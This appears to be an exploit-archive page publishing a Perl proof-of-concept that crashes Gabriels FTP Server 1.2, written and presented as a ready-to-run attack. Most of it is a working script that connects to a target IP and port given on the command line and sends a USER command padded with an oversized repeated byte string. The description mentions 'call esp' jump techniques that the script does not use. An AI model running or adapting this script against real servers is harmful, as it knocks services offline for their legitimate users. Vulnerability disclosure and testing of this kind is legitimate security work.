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Gabriels FTP Server 1.2 Denial Of Service

Gabriels FTP Server 1.2 Denial Of Service
Posted Jan 25, 2024
Authored by Fernando Mengali

Gabriels FTP Server version 1.2 remote denial of service exploit.

tags | exploit, remote, denial of service
SHA-256 | 94cd777c76d11157e95fbe2a87214b8bdb3d3e211ef5db4fc6e44042f8dea1bc

Gabriels FTP Server 1.2 Denial Of Service

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#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: Gabriels FTP Server 1.2 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 25 january 2024
# Vendor Homepage: N/A
# Download to demo: https://drive.google.com/file/d/1k8QxfP6x908E-1QpRAVulKoAM9OEo1a8/view?usp=sharing
# Notification vendor: No reported
# Tested Version: Gabriels FTP Server 1.2
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=wwHuXfYS8yQ

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.
#When authenticating to the FTP server with a long USERNAME or a USERNAME with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... \n";

my $payload = "\x41\x2C\x41\x20\x42"x500;

my $ftp_socket = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
Timeout => '10',
) or die "Não foi possível se conectar ao servidor.";


my $response = <$ftp_socket>;

print $ftp_socket "USER $payload\r\n";

print "[+] Done - Exploited success!!!!!\n\n";

sub intro {
print "######################################################################\n";
print "# Gabriels FTP Server 1.2 - Denied of Service #\n";
print "# #\n";
print "# Coded by Fernando Mengali #\n";
print "# #\n";
print "# e-mail: fernando.mengalli\@gmail.com #\n";
print "# #\n";
print "######################################################################\n";
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " \nUsage: $0 <ip> <port> \n";
exit(-1);

}
}

#3. Solution/ How to fix:

# This version product is deprecated
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